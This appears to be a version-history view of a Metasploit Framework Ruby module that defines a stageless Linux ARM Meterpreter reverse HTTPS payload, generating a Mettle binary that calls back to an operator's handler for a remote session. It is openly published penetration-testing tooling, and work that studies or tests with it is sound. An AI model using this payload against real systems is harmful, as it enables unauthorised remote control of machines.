Files
metasploit-gs/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb
T

43 lines
1.1 KiB
Ruby
Raw Normal View History

2016-12-09 18:19:58 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2016-12-09 18:19:58 -06:00
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 1023220
2016-12-09 18:19:58 -06:00
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter, Reverse HTTPS Inline',
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
2016-12-09 18:19:58 -06:00
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>',
2017-10-30 14:04:10 -05:00
'Brent Cook <brent_cook[at]rapid7.com>',
'timwr'
2016-12-09 18:19:58 -06:00
],
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseHttps,
2016-12-09 18:19:58 -06:00
'Session' => Msf::Sessions::Meterpreter_armle_Linux
)
)
end
def generate
2017-06-08 11:20:48 +10:00
opts = {
scheme: 'https',
stageless: true
}
MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :exec
2016-12-09 18:19:58 -06:00
end
end